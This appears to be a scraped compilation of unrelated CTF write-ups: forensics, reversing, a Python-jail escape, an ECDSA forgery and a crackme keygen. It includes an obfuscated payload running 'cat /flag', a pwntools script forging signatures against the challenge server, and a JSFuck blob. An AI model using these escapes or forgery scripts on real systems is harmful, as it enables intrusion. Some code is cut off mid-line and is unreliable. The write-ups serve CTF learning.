**Full write-up:** https://www.sebven.com/ctf/2021/08/05/UIUCTF2021-Q-Rious-Transmissions.html Misc – 322 pts (23 solves) – Chall author: boron Alice and Bob have shared two entangled qubits, which they use to transfer data between them using what appears to be similar to superdense coding (but without sending any qubits). Given only Alice’s operations on her own qubit, can we reconstruct what she send to Bob? Can we, or can we not? You won’t know until you collapse the state of this write-up. ;)
# Welcome to the challenge / Forensics --- ## Description Welcome to the RCTS Challenge! Can you find the flag? Flag format: flag{string} --- ## Solution After downloading the image, i tried strings but didn't got anything.So lets analyze the image, using "binwalk" i noticed that there is another image with our image as a png,lets extract it with "foremost" ![img](https://i.imgur.com/X6hiuog.png) opened the png image and got the flag :D ![img](https://i.imgur.com/oOmC3jG.png) --- ## Flag flag{0n3_1m4g3_1s_n0t_3n0ugh}
# dimensionality **Category**: Rev \**Points**: 144 points (69 solves) \**Author**: EvilMuffinHa, asphyxia The more the merrier Attachments: `chall` ## Overview Opened it in Ghidra but the decompilation sucked, so I switched to Cutter. Basically the program calls a function to check the input. If it passes, itXOR's the input with a byte-string to print the flag. It's hard to tell what the input checker does just by looking, so this is whereusing Cutter's debugger to setup through the program in graph view helped alot. > Another thing that helped was running the program in> [Qiling](https://github.com/qilingframework/qiling) and hooking several> important addresses to dump the registers. See [debug.py](debug.py) for> script In short, we have this thing: ![thing.png](thing.png) - Start at 2 and end at 3- Can only step on the 1's- Can only step forwards/backwards in increments of 1, 11, and 121- Each character determines what kind of step to take- Input must be at most 29 characters I solved this with breadth-first search (see `solve.py`), which gave me 5 possible strings:```flluulluuffffrrffrrddddrrffffllddllffrrffffrrffuubbrrffffddllllffrrffffrrffuubbrrffffrrffllllffddffrrffuubbrrffffrrffllffllddffrrffuubbrrffffrrffllffddllffrrffuubbrrfff``` It was the last one:```$ ./challfrrffllffddllffrrffuubbrrfff:)flag{star_/_so_bright_/_car_/_site_-ppsu}```
Use unicode characters to get around regex. Unicode characters don't show up properly on ctftime. See link for full writeup. __??????__('\157\163').??????('\143\141\164\040\057\146\154\141\147')
## Trunc ### Challenge> I wish I could say more, but I don't want to!> `nc 02.cr.yp.toc.tf 23010`> [TRUNC.txz](https://cr.yp.toc.tf/tasks/TRUNC_dd1e2d91b790125fdfc7596f0076fa476446d2fb.txz) ```python#!/usr/bin/env python3 from Crypto.Util.number import *from hashlib import sha256import ecdsafrom flag import FLAG E = ecdsa.SECP256k1G, n = E.generator, E.order cryptonym = b'Persian Gulf' def keygen(n, G): privkey = getRandomRange(1, n-1) pubkey = privkey * G return (pubkey, privkey) def sign(msg, keypair): nbit, dbit = 256, 25 pubkey, privkey = keypair privkey_bytes = long_to_bytes(privkey) x = int(sha256(privkey_bytes).hexdigest(), 16) % 2**dbit while True: k, l = [(getRandomNBitInteger(nbit) << dbit) + x for _ in '01'] u, v = (k * G).x(), (l * G).y() if u + v > 0: break h = int(sha256(msg).hexdigest(), 16) s = inverse(k, n) * (h * u - v * privkey) % n return (int(u), int(v), int(s)) def verify(msg, pubkey, sig): if any(x < 1 or x >= n for x in sig): return False u, v, s = sig h = int(sha256(msg).hexdigest(), 16) k, l = h * u * inverse(s, n), v * inverse(s, n) X = (k * G + (n - l) * pubkey).x() return (X - u) % n == 0 def die(*args): pr(*args) quit() def pr(*args): s = " ".join(map(str, args)) sys.stdout.write(s + "\n") sys.stdout.flush() def sc(): return sys.stdin.readline().strip() def main(): border = "+" pr(border*72) pr(border, " hi all, welcome to the high secure elliptic curve signature oracle!", border) pr(border, " Your mission is to sign the out cryptonym, try your best :) ", border) pr(border*72) keypair = keygen(n, G) pubkey, privkey = keypair while True: pr("| Options: \n|\t[P]rint the pubkey \n|\t[S]ign \n|\t[V]erify \n|\t[Q]uit") ans = sc().lower() if ans == 'p': pr("| pubkey =", pubkey.x(), pubkey.y()) elif ans == 's': pr("| send your hex message to sign: ") msg = sc() try: msg = bytes.fromhex(msg) except: die("| your message is not valid! Bye!!") if msg == cryptonym: die('| Kidding me? Bye') msg = msg[:14] sig = sign(msg, keypair) pr("| sign =", sig) elif ans == 'v': pr("| send your hex message to verify: ") msg = sc() try: msg = bytes.fromhex(msg) except: die("| your message is not valid! Bye!!") pr("| send the signature separated with comma: ") sig = sc() try: sig = [int(s) for s in sig.split(',')] except: die("| your signature is not valid! Bye!!") if verify(msg, pubkey, sig): if msg == cryptonym: die("| Good job! Congrats, the flag is:", FLAG) else: pr("| your message is verified!!") else: die("| your signature is not valid! Bye!!") elif ans == 'q': die("Quitting ...") else: die("Bye ...") if __name__ == '__main__': main()``` ### SolutionHere we have a ECDSA-like signature scheme: nonces $k$ and $l$ are generated in such a way, that they always have their 25 LSBs dependent only on private key, thus always the same, then $u$ and $v$ are obtained as $x$-coordinates of $kG$ and $lG$ respectively, where $G$ is a generator on the curve `secp256k1`, then $h$ = `sha256(msg)` and $s \equiv k^{-1}(hu - vd) \mod n$ are computed, where $d$ is the private key and $n$ is the order of the curve. $(u, v, s)$ is a signature for $h$. Verification works as follows: again, $h$ = `sha256(msg)` is computed, then $k \equiv hus^{-1} \mod n$ and $l \equiv vs^{-1} \mod n$ are computed, after that $X$ is derived as $x$-coordinate of $kG - lP$, where $P = G * d$ is the public key. Signature verifies iff $X \equiv u \mod n$.During interaction with the service we can obtain the public key by sending `p`, sign any message (except `Persian Gulf`) by sending `s`, verify a signature for a message with `v`, and if the signature for `Persian Gulf` verifies, we are given the flag, and quit with `q`. This is an unintended solution, which doesn't exploit odd nonce generation during signature creation.If $h_1$ is a hash of some message $m$, and $h_2$ is the hash for `Persian Gulf`, we can write $h_2 \equiv m h_1 \mod n$, and if $(u_1, v_1, s_1)$ is a valid signature for $h_1$, then $(u_1, v_1m, s_1m)$ is a valid signature for $h_2$. Proof: during verification of $h_1$ we have $k \equiv h_1u_1s_1^{-1} \mod n$ and $l \equiv v_1s_1^{-1} \mod n$. During verification of $h_2$ we have $k \equiv h_1mu_1(ms_1)^{-1} \equiv h_1mu_1m^{-1}s_1^{-1} \equiv h_1u_1s_1^{-1}\mod n$ and $l \equiv v_1m(s_1m)^{-1} \equiv v_1ms_1^{-1}m^{-1} \equiv v_1s_1^{-1}\mod n$, so $k, l$ are the same, thus $X$ is the same. And since $u$ is also the same, this signature will also verify. #### Implementation ```python#!/usr/bin/env python3from pwn import remotefrom ecdsa import SECP256k1from hashlib import sha256 n = SECP256k1.orderm1 = b'lol' # any other message is finem2 = b'Persian Gulf'h1 = int(sha256(m1).hexdigest(), 16)h2 = int(sha256(m2).hexdigest(), 16)m = h2 * pow(h1, -1, n) % nr = remote("02.cr.yp.toc.tf", 23010)for _ in range(9): r.recvline()r.sendline('s')r.recvline()r.sendline(m1.hex())u1, v1, w1 = eval(r.recvline()[8:])u2, v2, w2 = u1, v1 * m % n, w1 * m % nfor _ in range(5): r.recvline()r.sendline('v')r.recvline()r.sendline(m2.hex())r.recvline()r.sendline(','.join(map(str, [u2, v2, w2])))print(r.recvline().decode().strip().split()[-1])r.close()```##### Flag `CCTF{__ECC_Bi4seD_N0nCE_53ns3_LLL!!!}`
# INFINITE_FREE_TRIAL```We've decided to make an app specially for flag hoarding, can you make sure no one can crack it? NOTE: The flag is a valid registration key``` - File : [ift.zip](https://github.com/Pynard/writeups/blob/main/2021/RARCTF/attachements/infinite_free_trial/ift.zip) This is a small application in trial mode asking us the registration key ## REGISTRATION### CRC8 checkA crc check by block of 6 chars is done on the key for 6 blocks so the key must be 36 chars. ```┌ 148: sym.do_crc_check (int64_t arg1);│ ; var int64_t var_18h @ rbp-0x18│ ; var int64_t var_5h @ rbp-0x5│ ; var signed int64_t var_4h @ rbp-0x4│ ; arg int64_t arg1 @ rdi│ 0x00002c9a 55 push rbp│ 0x00002c9b 4889e5 mov rbp, rsp│ 0x00002c9e 4883ec20 sub rsp, 0x20│ ; DATA XREF from sym.step_timer @ 0x24df│ 0x00002ca2 48897de8 mov qword [var_18h], rdi ; arg1│ 0x00002ca6 c745fc000000. mov dword [var_4h], 0│ ┌─< 0x00002cad eb49 jmp 0x2cf8│ │ ; CODE XREF from sym.do_crc_check @ 0x2cfc│ ┌──> 0x00002caf 8b55fc mov edx, dword [var_4h]│ ╎│ 0x00002cb2 89d0 mov eax, edx│ ╎│ 0x00002cb4 01c0 add eax, eax│ ╎│ 0x00002cb6 01d0 add eax, edx│ ╎│ 0x00002cb8 01c0 add eax, eax│ ╎│ 0x00002cba 4863d0 movsxd rdx, eax│ ╎│ ; DATA XREF from sym.register_tm_clones @ 0x2334│ ╎│ 0x00002cbd 488b45e8 mov rax, qword [var_18h]│ ╎│ 0x00002cc1 4801d0 add rax, rdx│ ╎│ 0x00002cc4 be06000000 mov esi, 6│ ╎│ 0x00002cc9 4889c7 mov rdi, rax│ ╎│ 0x00002ccc e8f1feffff call sym.crc8│ ╎│ 0x00002cd1 8845fb mov byte [var_5h], al│ ╎│ 0x00002cd4 0fb645fb movzx eax, byte [var_5h]│ ╎│ 0x00002cd8 4898 cdqe│ ╎│ 0x00002cda 488d153f0400. lea rdx, obj.crccheck ; 0x3120│ ╎│ 0x00002ce1 0fb61410 movzx edx, byte [rax + rdx]│ ╎│ 0x00002ce5 8b45fc mov eax, dword [var_4h]│ ╎│ 0x00002ce8 4898 cdqe│ ╎│ 0x00002cea 488d0daf2400. lea rcx, obj.crcout ; 0x51a0│ ╎│ 0x00002cf1 881408 mov byte [rax + rcx], dl│ ╎│ 0x00002cf4 8345fc01 add dword [var_4h], 1│ ╎│ ; CODE XREF from sym.do_crc_check @ 0x2cad│ ╎└─> 0x00002cf8 837dfc06 cmp dword [var_4h], 6│ └──< 0x00002cfc 7eb1 jle 0x2caf│ 0x00002cfe ba07000000 mov edx, 7│ 0x00002d03 488d053a0500. lea rax, [0x00003244] ; "w1nR4rs"│ ; DATA XREF from entry0 @ 0x22d8│ 0x00002d0a 4889c6 mov rsi, rax│ 0x00002d0d 488d058c2400. lea rax, obj.crcout ; 0x51a0│ 0x00002d14 4889c7 mov rdi, rax│ 0x00002d17 e8d4f3ffff call sym.imp.memcmp│ 0x00002d1c 85c0 test eax, eax│ ┌─< 0x00002d1e 7507 jne 0x2d27│ │ 0x00002d20 b801000000 mov eax, 1│ ┌──< 0x00002d25 eb05 jmp 0x2d2c│ ││ ; CODE XREF from sym.do_crc_check @ 0x2d1e│ │└─> 0x00002d27 b800000000 mov eax, 0│ │ ; CODE XREF from sym.do_crc_check @ 0x2d25│ └──> 0x00002d2c c9 leave└ 0x00002d2d c3 ret``` We can see that the crc of a block is used as an offset in a table **obj.crccheck** and the output is in **obj.crcout**So : ```crcout[i] = crccheck[CRC8(key[i:i+6])]``` and **crcout** must be equal to `w1nR4rs` to pass the memcmp @ 0x00002d17 and return 1 Here is a small script solving a key that passes the CRC check, this is not the flag but it will allow us to debug the second verification stage - File : [solve_crc.py](https://github.com/Pynard/writeups/blob/main/2021/RARCTF/attachements/infinite_free_trial/solve_crc.py)```pythonimport itertoolsimport structimport stringimport crc8 crccheck = [ 0x464dd4d6,0xc73ecd53,0x8a506d41,0x8e2cbf22, 0x55019c09,0xc5f43510,0x4fd8686b,0xa81315d5, 0x3242d308,0xa1940654,0xffadfbe0,0x82319e5f, 0xf21eca02,0x47e2d74a,0x14806648,0x2d27da67, 0x1140e862,0x81842123,0xcebe1774,0x0eb5929b, 0xf799f0c6,0x763adfa6,0xf6d17cdd,0x07b7e9a9, 0x7ec27a97,0x304cb390,0x8545fd5d,0xf3e375a3, 0x380dbd49,0xfab98bb4,0x2bb259aa,0xe60bcf6a, 0xbc3c6305,0x887987e5,0x433403a5,0x897d1def, 0xb13358f1,0x7f958378,0xf5b67bdb,0x37ba2f1b, 0xd012188d,0x703fe773,0x640a0ca7,0xae6c719f, 0xb896eb28,0x868f19a2,0xc9dc0fd9,0xab5e39f9, 0x25c1cb51,0xee446520,0x1fa43b5c,0xc829afcc, 0x61ac602a,0x4b5bf85a,0x9d8cec93,0x98dec3a0, 0xeae436bb,0xb03d0072,0x6f774e24,0x1ac0fe52, 0x2e566991,0x04fc169a,0x571c26e1,0xc46ed2ed]crccheck = b''.join([ struct.pack('<I',elt) for elt in crccheck ]) crc_block = [[ hex(i)[2:] for i,elt in enumerate(crccheck) if elt == c ] for c in b'w1nR4rs' ]crc_block = [ elt[0] for elt in crc_block ] # bruteforce crc8out = [None]*7charset = string.ascii_letters # 1st blockout[0] = b'rarctf' # 2nd blockfor test in itertools.combinations(charset.encode(),5): test = b'{'+bytes(test) crc_fx = crc8.crc8(test) if crc_fx.hexdigest() == crc_block[1]: out[1] = test # last blockfor test in itertools.combinations(charset.encode(),5): test = bytes(test)+b'}' crc_fx = crc8.crc8(test) if crc_fx.hexdigest() == crc_block[-1]: out[-1] = test # other blocksfor test in itertools.combinations(charset.encode(),6): test = bytes(test) crc_fx = crc8.crc8(test) if crc_fx.hexdigest() in crc_block[2:-1]: for i,elt in enumerate(crc_block): if elt == crc_fx.hexdigest(): out[i] = test if all([ elt != None for elt in out]): break out = b''.join(out)print(out.decode())``` Giving us : `rarctf{RUXYZabceRSabceRUabceEKabcezWMUVXZ}` ### XOR checkHere a XOR is done between 6 chars block and is compared with the **obj.xorcheck** table : ```┌ 161: sym.do_xor_check (int64_t arg1);│ ; var int64_t var_18h @ rbp-0x18│ ; var signed int64_t var_4h @ rbp-0x4│ ; arg int64_t arg1 @ rdi│ 0x00002d2e 55 push rbp│ 0x00002d2f 4889e5 mov rbp, rsp│ 0x00002d32 4883ec20 sub rsp, 0x20│ 0x00002d36 48897de8 mov qword [var_18h], rdi ; arg1│ 0x00002d3a c745fc000000. mov dword [var_4h], 0│ ┌─< 0x00002d41 eb56 jmp 0x2d99│ │ ; CODE XREF from sym.do_xor_check @ 0x2d9d│ ┌──> 0x00002d43 8b55fc mov edx, dword [var_4h]│ ╎│ 0x00002d46 89d0 mov eax, edx│ ╎│ 0x00002d48 01c0 add eax, eax│ ╎│ 0x00002d4a 01d0 add eax, edx│ ╎│ 0x00002d4c 01c0 add eax, eax│ ╎│ 0x00002d4e 4898 cdqe│ ╎│ 0x00002d50 488d15692400. lea rdx, obj.xorout ; 0x51c0│ ╎│ 0x00002d57 4801c2 add rdx, rax│ ╎│ 0x00002d5a 8b45fc mov eax, dword [var_4h]│ ╎│ 0x00002d5d 8d4801 lea ecx, [rax + 1]│ ╎│ 0x00002d60 89c8 mov eax, ecx│ ╎│ 0x00002d62 01c0 add eax, eax│ ╎│ 0x00002d64 01c8 add eax, ecx│ ╎│ 0x00002d66 01c0 add eax, eax│ ╎│ 0x00002d68 4863c8 movsxd rcx, eax│ ╎│ 0x00002d6b 488b45e8 mov rax, qword [var_18h]│ ╎│ 0x00002d6f 488d3401 lea rsi, [rcx + rax]│ ╎│ 0x00002d73 8b4dfc mov ecx, dword [var_4h]│ ╎│ 0x00002d76 89c8 mov eax, ecx│ ╎│ 0x00002d78 01c0 add eax, eax│ ╎│ 0x00002d7a 01c8 add eax, ecx│ ╎│ 0x00002d7c 01c0 add eax, eax│ ╎│ 0x00002d7e 4863c8 movsxd rcx, eax│ ╎│ 0x00002d81 488b45e8 mov rax, qword [var_18h]│ ╎│ 0x00002d85 4801c8 add rax, rcx│ ╎│ 0x00002d88 b906000000 mov ecx, 6│ ╎│ 0x00002d8d 4889c7 mov rdi, rax│ ╎│ 0x00002d90 e8a8feffff call sym.xor_block│ ╎│ 0x00002d95 8345fc01 add dword [var_4h], 1│ ╎│ ; CODE XREF from sym.do_xor_check @ 0x2d41│ ╎└─> 0x00002d99 837dfc05 cmp dword [var_4h], 5│ └──< 0x00002d9d 7ea4 jle 0x2d43│ 0x00002d9f ba24000000 mov edx, 0x24 ; '$'│ 0x00002da4 488d05750400. lea rax, obj.xorcheck ; 0x3220 ; "\t\x16\x17\x0f\x17V\x16D:\x18So\x14\x03*\x06o1\x1cG*\x06-_Q\x1b"│ 0x00002dab 4889c6 mov rsi, rax│ 0x00002dae 488d050b2400. lea rax, obj.xorout ; 0x51c0│ 0x00002db5 4889c7 mov rdi, rax│ 0x00002db8 e833f3ffff call sym.imp.memcmp│ 0x00002dbd 85c0 test eax, eax│ ┌─< 0x00002dbf 7507 jne 0x2dc8│ │ 0x00002dc1 b801000000 mov eax, 1│ ┌──< 0x00002dc6 eb05 jmp 0x2dcd│ ││ ; CODE XREF from sym.do_xor_check @ 0x2dbf│ │└─> 0x00002dc8 b800000000 mov eax, 0│ │ ; CODE XREF from sym.do_xor_check @ 0x2dc6│ └──> 0x00002dcd c9 leave└ 0x00002dce c3 ret``` The main loop is done 6 times and the xor block is done in the **xor_block** function. Now we can see that the first step was not necessary because the flag can be recover with the **xorcheck** table if the first key block is known..... -_- Yet the first key block is known : `rarctf`Here is a script that solve the xor check from **xorcheck** table - File : [solve_xor.py](https://github.com/Pynard/writeups/blob/main/2021/RARCTF/attachements/infinite_free_trial/solve_xor.py)```pythonimport struct xorcheck = [0x0f171609,0x44165617,0x6f53183a,0x062a0314,0x471c316f,0x5f2d062a,0x46001b51,0x5504004a,0x4c015066,0x526e3177,0x00737234,0x3b031b01]xorcheck = b''.join([ struct.pack('
# ROOS WORLD```DescriptionSomebody hid Roo's flag on his website. Roo really needs some help. Attachmentshttp://roos-world.chal.imaginaryctf.org``` In the html we see a weird script :```javascript[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+((!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(+[![]]+[])[+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[])[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(+[![]]+[])[+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[+[]]+(+[![]]+[])[+[]]+(![]+[])[+[]]+([][[]]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]])[(![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[